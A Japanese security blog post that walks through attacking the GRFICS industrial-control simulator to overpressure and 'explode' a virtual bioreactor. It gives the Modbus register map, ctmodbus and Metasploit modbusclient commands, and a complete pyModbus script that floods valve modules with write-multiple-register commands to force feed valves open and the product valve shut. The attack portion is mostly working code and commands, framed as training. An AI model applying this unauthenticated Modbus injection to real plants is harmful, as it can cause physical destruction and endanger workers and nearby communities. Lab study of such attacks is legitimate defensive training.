工場をハッキングして爆発させてみた|セキュリティごった煮ブログ

ネットエージェント
セキュリティごった煮ブログ

 コース:こってり

工場をハッキングして💥爆発💥させてみた

shuttle

※シミュレーターで。

reactor_bomb_1

ペンテスターの皆さん、工場をハッキングする準備は万端ですか?

実際に工場を買収して好きに💥爆発💥させたいところですが、残念ながら我が社には工場を買うお金がありません。

でも大丈夫!貧乏人のためにGRFICSという素晴らしいシミュレーターがあるのです。

僕の給料では工場を買えないので、いつか(合法的に)工場を攻撃する日を夢見てこれで練習します。

注意:本投稿で記述した手法を用いてトラブルなどが発生した場合、当社は一切の責任を負いかねます。本情報の悪用はしないでください。

GRFICS

GRFICSとは、PLCを通じて化学反応を起こすバイオリアクター(化学反応器)のシミュレーターです。
USENIXの ASE'18 で発表されたもので、作者いわくSCADAシステムのセキュリティ教育用に開発したとのことです。

構成

以下の3台構成となっています。

  • バイオリアクターのシミュレーター

  • HMIからの入力をもとにリアクターを操作するPLC

  • PLCから受け取った情報をもとにバルブやタンクの状態を表示するHMI

下記はシミュレーターの画面です。

simulation_display

シミュレーターではタンクA, Bの二つの原料を真ん中のリアクターに入力・混合し、Productタンクに排出する流れになっています。
PLCでは各タンクに繋がるバルブの開閉を通じて圧力の調整が可能で、シミュレーターの各モジュールからタンク圧力およびバルブ位置を取得します。
PLCは受け取った情報から各タンクが最適な圧力になるようバルブ位置を計算し、シミュレーターの各モジュールにバルブ位置を送信します。

なおシミュレーターの各モジュールとPLC、PLCとHMI間はどちらも、産業ネットワークではメジャーな制御通信プロトコルである「Modbus/TCP」でやりとりされます。

const

攻撃者の立場としては、何らかの方法でこのシステムにダメージを与えればクリアということになります。

インストール

GitHubに一式が用意されています。
https://github.com/djformby/GRFICS

3台のVMを立ててイチから構築することも可能ですが、怠惰な人向けに構築済みのOVAイメージを提供してくれているのでありがたく利用します。

  1. それぞれのVMのOVAイメージをGoogleドライブからダウンロードします。

    ※上記のURLは変更される可能性があります。最新のURLは GitHub の README.md を参照してください。

  2. VirtualBoxの環境設定からホストオンリーアダプタを作成し、IPv4アドレスを 192.168.95.1 に設定します。

    host-only-adaptor_setting

  3. ダウンロードしたOVAイメージをインポートしたあと、各VMの設定からネットワークを参照し、ホストオンリーアダプタが設定されていることを確認しOKで閉じます。

  4. 全てのVMを起動します。

GRFICSの起動

※どのVMもユーザ名「user」、パスワード「password」となっています。

Simulation VM

  1. userでログインしデスクトップ画面が表示されたら、ターミナルを2つ起動します。

  2. ターミナルAにてシミュレーターGUIを起動します。

    
    user@simulation:~$ cd HMI_Simulation_Ubuntu1604_15_x86_64/
    user@simulation:~/HMI_Simulation_Ubuntu1604_15_x86_64$ sudo ./HMI_Simulation_Ubuntu1604_15_x86_64.x86_64
          

    ※画面解像度・品質の設定画面が表示されますが、1024x600 以上がオススメです。品質は任意で。

  3. テキスト入力欄に「/home/user/simulation/simulation」と入力し、Run Serverをクリックします。

    simulation_setting

  4. 次にStart を押し、リアクターと各タンクの圧力表示がいい感じになっていれば大丈夫です。

    simulation_display

    ※Run Serverが失敗すると、各テキストの表示が数値ではなく「Text」という表示になります。
    そうなったらもう一度試したりVMを再起動したりしてやり直してください。

    ※バルブ開度の初期値は排出よりも入力の方が大きいです。
    そのためPLCを起動しないままこの状態で放置するとリアクターの圧力が高まり、最終的にはリアクターが圧力に耐えきれず爆発します。

  5. ターミナルBで、PLCとやりとりするためのサーバを立ち上げます。

    
    user@simulation:~$ cd simulation/remote_io/
    user@simulation:~/simulation/remote_io$ sudo bash run_all.sh
      

PLC VM

  1. userでログインしプロンプトが表示されることを確認します。

  2. OpenPLCサーバを立ち上げます。

    
    user@plc:~$ cd OpenPLC_v2
    user@plc:~/OpenPLC_v2$ sudo nodejs server.js
          

    "Working on port 8080"と表示されたらOKです。

HMI VM

  1. userでログインしデスクトップ画面が表示されたら、ターミナルを起動します。

  2. wineコマンドでHMIを起動します。

    
    user@hmi-station:~$ wine HMI/AdvancedHMI.exe
            
  3. 起動後、各バルブの表示がいい感じになっていれば大丈夫です。

    hmi_display

また、PLCにはWebコンソールが存在します。HMIからWebコンソールにアクセスしてみましょう。

WebコンソールのURLは http://192.168.95.2:8080/ です。

openplc_console

このコンソールではPLCの稼働・停止のほか、ログの確認やPLCプログラムの書き換えが可能です。

正常な状態を楽しむ

上記で設定は終了です。
リアクターの圧力やバルブのパーセンテージがなだらかに上がったり下がったりする様子をみて侘び寂びを感じましょう。

normal_sim_and_hmi

シミュレーターとHMIとでバルブや圧力(kPa)の数値が若干異なるようですが、多分仕様だと思います

攻撃方法の考察

シミュレーターとPLCのオーケストレーションを感じたところで、さっそくこいつを破壊してみます。

GRFICSの最終目標としては、リアクターを爆発させることみたいです。
どうすれば爆発するのでしょうか。

ここでGRFICSの作者による論文に記載してある、攻撃者のアプローチを見てみます。

Lowering the Barriers to Industrial Control System Security with GRFICS https://www.usenix.org/conference/ase18/presentation/formby

攻撃手法

爆発の条件

作者は論文内でこのように記述しています。

who is attacking the system succeeds in forcing the pressure in the reactor vessel to exceed the safety limit of 3200 kilopascals, an explosion effect plays on top of the reactor vessel followed by fire effects, illustrated in Figure 8.

リアクターの圧力が3200kPaを上回れば爆発するようです。

ならば圧力を上げるにはどうすればいいでしょうか。入力>排出 となるようにバルブの位置を変えればいいのです。

このようなバルブの位置を操作するためのアプローチとして、作者は以下のシチュエーションを想定しています。

ase18-paper.figure3

  1. HMIに侵入しPLCを操作する

    パスワードが弱いことを利用してHMIに侵入し、Webコンソールを利用してPLCを操作します。

  2. PLCをぶっ壊す

    PLCが利用しているModbus実装のlibmodbusは、バッファオーバフローの脆弱性があるバージョンのようです。
    これを利用してPLCをぶっ壊し、制御不能にします。

  3. Modbus通信に不正なデータを挿入する

    HMI・PLC間、およびPLC・シミュレーター間はどちらもModbus/TCPによって操作されます。
    Modbusで圧力・バルブの管理しているレジスタを特定できれば不正な操作が可能です。

※他にもPLCのWebコンソールから悪意のあるラダー図を送り込んで操作する方法もありますが、割愛します。

攻撃aはとても簡単です。パスワードを特定してログインしたあと、圧力の上昇過程(バルブが入力>排出となっている状態)でPLCのWebコンソールを用いてPLCを停止すればいいのです。

攻撃bもModbusの実装・バージョンが特定できれば簡単です。(調べたらexploit出てきました)

個人的に興味が湧いたのは攻撃cの不正なデータの挿入です。

Modbus通信に不正なデータを挿入する

攻撃の特徴

この攻撃の大きなメリットはステルス性にあると考えます。

攻撃aは侵入後、PLCのWebコンソールからPLCを停止することで攻撃が可能ですが、正常に停止するため管理者にすぐに検知・修復されてしまいます。
また攻撃bに関してもPLCが異常停止するとアラートが発報されるはずなので、管理者によってすぐに再起動されます。

ただ攻撃cは違います。裏で攻撃プログラムをひっそり動かし、シミュレーターに対してバルブを開く通信を出すだけなので、PLCの状態に依存しません。
HMI・PLCが通常通り動いているのにバルブが勝手に開き圧力がどんどん上がっていくので、管理者が慌てふためき、手遅れな状態になることが想像できます。

ということで今回はこの攻撃を試してみます。

※ここから先はネタバレです。自分で試したい人は頑張ってください。





















攻撃の条件

  • Attackerからバルブモジュールに通信が可能であること

    今回はネットワークに侵入できたとして、Attackerから直接シミュレーターの各バルブモジュールにアクセスができる必要があります。

    ただ今回は幸いにも同じサブネットでありファイアウォールも構成されていないので条件はクリアです。

  • バルブモジュールを操作するための各情報を知っていること

    今回、バルブの位置をモジュールに知らせるために Modbus/TCP が使われています。

    各モジュールはそれぞれIPアドレスが割り当てられており、Modbusサーバが稼働しています。

    またModbusは モジュールの識別のために UNIT ID が存在します。
    通常のModbusではUNIT IDは通常利用されず0や1に固定されますが、実装によっては別のUNIT IDが割り当てられていることがあります。

    次にバルブ開度に関するレジスタの特定です。

    Modbusはファンクションという機能があり、一般的に以下が定義されています。

    • Coil

    • Input Status

    • Holding Register

    • Input Register

    Modbusはこれらのファンクションに対して、Read/Writeの操作が可能です(Coilは状態操作なのでON/OFFが切り替わる)。

    バルブ開度の操作は全閉から全開までの範囲の値をとるものであり、アナログの出力となるのでHolding Registerと想定されますが、どの値をとりうるかは実装に依存します。

    この攻撃で一番の壁となるのはこの値の特定です。

    特定を行うには複数の方法が考えられます。

    1. PLCのラダープログラムを窃取

    2. PLC・バルブモジュール間のModbus通信を盗聴

    3. 仕様書を窃取

    4. ネットワークスキャンを行い、Modbusサーバを特定したうえでレジスタを総当たりでスキャン

    1はPLCサーバに侵入することで可能ですが、今回はPLCに入らない前提で考えます。
    2はPLCサーバに侵入、あるいは通信路でMITMをすることで可能です。
    3, 4 は業務ネットワークに侵入することで可能です。

    今回は幸運にも仕様書が窃取できます。GitHubに大変貴重な仕様書が存在するのです。

modbus_documentation.txt

GRFICSのリポジトリに意味深なドキュメントが存在するので見てみましょう。

https://github.com/djformby/GRFICS/blob/master/modbus_documentation.txt


GRFICS Modbus Mapping

REMOTE MODBUS IO DEVICES
192.168.95.10 - feed 1
    holding register 1 - valve position set point 0-65535, where 0 is closed and 65535 is open
    input regiser 1 - valve position reading
    input register 2 - flow rate through valve

192.168.95.11 - feed 2
    holding register 1 - valve position set point
    input regiser 1 - valve position reading
    input register 2 - flow rate through valve

192.168.95.12 - purge valve
    holding register 1 - valve position set point
    input regiser 1 - valve position reading
    input register 2 - flow rate through valve

192.168.95.13 - product valve
    holding register 1 - valve position set point
    input regiser 1 - valve position reading
    input register 2 - flow rate through valve

192.168.95.14 - tank
    input register 1 - pressure
    input register 2 - level

192.168.95.15 - analyzer
    input registers 1-3 composition of gases in reactor






The PLC polls all of the remote IO, uses the measurements for its control algorithm, 
and reports scaled values back to the HMI (192.168.95.3) for display

192.168.95.2 - PLC
    holding registers being polled by HMI
        1044 - reactor pressure
        1045 - reactor liquid level
        1046 - feed 1 valve position
        1047 - feed 1 flow rate
        1048 - feed 2 valve position
        1049 - feed 2 flow rate
        1050 - purge valve position
        1051 - purge flow rate
        1052 - product valve position
        1053 - product flow rate
  

これを読むと 192.168.95.10 - 13 が各バルブモジュールのIPアドレスであり、Input Register 1 を読むことでバルブの位置が取得でき、Holding Register 1 を書くことでバルブの位置を変更できるようです。

バルブ位置を取得する

バルブの位置を変える前に、タンクAに繋がるバルブの位置が取得できるかを確認します。
タンクAのバルブモジュールは、上記のドキュメントにあるfeed1に対応しています。

今回は標的ネットワークに侵入できたという想定なので、同一サブネット上にKali Linuxを召喚します。(ユルシテ・・・)

さて、Modbusクライアントをどうするかですが、まずは単発で送るので、個人的に気に入っているツールである ctmodbus を使いました。(MetasploitのmodbusclientはInput Registerを読めない・・・)

まずはタンクAのバルブモジュールに接続します。


ctmodbus> connect_tcp 192.168.95.10
  

接続に成功すると、Successの表示がされます。

まずは Input Register 1 を読んでみます。このときのバルブの状態は0%でした。


ctmodbus> read_input_registers 1
  

atkc_read_0percent

値「0」が返りました。

次にバルブの状態が100%になったときに再度 Input Register 1 を読んでみます。

atkc_read_100percent

値「ffff」が返りました。正常にバルブの値が取れていることがわかります。

ちなみに、ctmodbus がリクエストするときのUNIT IDの値は「1」となっており、変更はできません。
ただ今回はUNIT IDが1でも正常に読めているので問題ありません。

バルブ位置の変更を試行する

読み込みができたので書き込みもできるに違いありません。

試しにバルブ位置が0%の状態で Holding Register 1 に値を書き込んでみます。
ただし注意点として、今回は本来のPLCが最適なバルブ位置、つまりここでは0%になるように定期的にバルブモジュールに対してModbus通信を流していることに留意してください。
つまり攻撃時は1回の送信だけではなく、本来の通信に勝つように何度も送り続ける必要があるのです。

というわけで、ctmodbusを使って手動で指を酷使して通信を送り込んでみました。

atkc_write_single_register

残念ながら何度試しても100%になりませんでした😭😭

Write Multiple Register で試す

ちょっと待ってください!今回送ったのは Write Single Register です。もしかしたら Write Multiple Register なら反応するかもしれません!

ただctmodbusで Write Multiple Register を送る場合はトリッキーな方法が必要なので、今回はMetasploit の modbusclient を使って試します。

以下のようにオプションを設定しました。


msf5 auxiliary(scanner/scada/modbusclient) > options

Module options (auxiliary/scanner/scada/modbusclient):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   DATA                             no        Data to write (WRITE_COIL and WRITE_REGISTER modes only)
   DATA_ADDRESS    1                yes       Modbus data address
   DATA_COILS                       no        Data in binary to write (WRITE_COILS mode only) e.g. 0110
   DATA_REGISTERS  65535            no        Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4
   NUMBER          1                no        Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)
   RHOSTS          192.168.95.10    yes       The target address range or CIDR identifier
   RPORT           502              yes       The target port (TCP)
   UNIT_NUMBER     1                no        Modbus unit number


Auxiliary action:

   Name             Description
   ----             -----------
   WRITE_REGISTERS  Write words to several registers


  

いざ!

atkc_write_multiple_registers_msf

できました。

一瞬ですが 0% から 100% になり、本来のPLCによってすぐに0%に戻されました。

リアクターを爆発させてみた

先の内容から、Write Multiple Register を使えばバルブの位置を変更できることがわかりました。

ここで改めて、どうすればリアクターが爆発させられるかをまとめましょう。

  1. 爆発させるためにはリアクターの圧力を 3200kPa にすればよい

  2. 圧力をあげるには、リアクターの状態が 入力>排出 となるようなバルブの位置にすればよい

  3. 入力>排出 にするためには、入力のバルブ開度を100% に、排出のバルブ開度を0%にすればよい

  4. よって、タンクAバルブ、タンクBバルブの開度を100%、Productバルブの開度を0%にすればよい

ということで、3つのバルブの状態を、本来のPLCに負けないように高頻度に送り続けることにします。

ただ3つのバルブの操作を手動で送信し続けるには手が足りないし、腱鞘炎になってしまいます。

pyModbusで自動化

こんな時は自動化です。幸いにもPythonにはpyModbusという素晴らしいライブラリがあるので、これを使ってexploitを書いてみます。


import time
from threading import Thread

class ModBus(Thread):
    def __init__(self, host, port, unit_id, data, interval, debug=False, **kwargs):
        super(ModBus, self).__init__(**kwargs)
        self.host = host
        self.port = port
        self.unit_id = unit_id
        self.data = data
        self.interval = interval
        self.isDebug = debug

    def run(self):
        self.bus = ModbusClient(host=self.host \
                                ,port=self.port \
                                ,unit_id=self.unit_id )
        self.bus.debug(self.isDebug)

        self.bus.open()

        if not self.bus.is_open():
            raise Exception()

        while True:
            if self.bus.is_open():
                self.bus.write_multiple_registers(1, [self.data])

            time.sleep(self.interval)


def main():
    INTERVAL = 0.05

    #TankA valve
    ModBus(host="192.168.95.10", port=502, unit_id=1, data=65535, interval=INTERVAL, debug=True).start()

    #TankB valve
    ModBus(host="192.168.95.11", port=502, unit_id=1, data=65535, interval=INTERVAL, debug=True).start()

    #Product valve
    ModBus(host="192.168.95.13", port=502, unit_id=1, data=0, interval=INTERVAL, debug=True).start()

if __name__ == '__main__':
    main()

実行

早速やってみます。

exploit_start

実行後、タンクAバルブ、タンクBバルブが100%に、Productバルブが0%になり、圧力が急上昇していきます。

exploit_upper_strip

ゲージがどんどんあがっていきます。

~そして伝説へ~

exploit_explosion


制作・著作
━━━━━
ⓈⒽⓊ



※論文では3200kPaと書いてありましたが、3100kPaで爆発しました。

メルマガ読者募集 採用情報 2020年卒向けインターンシップ

月別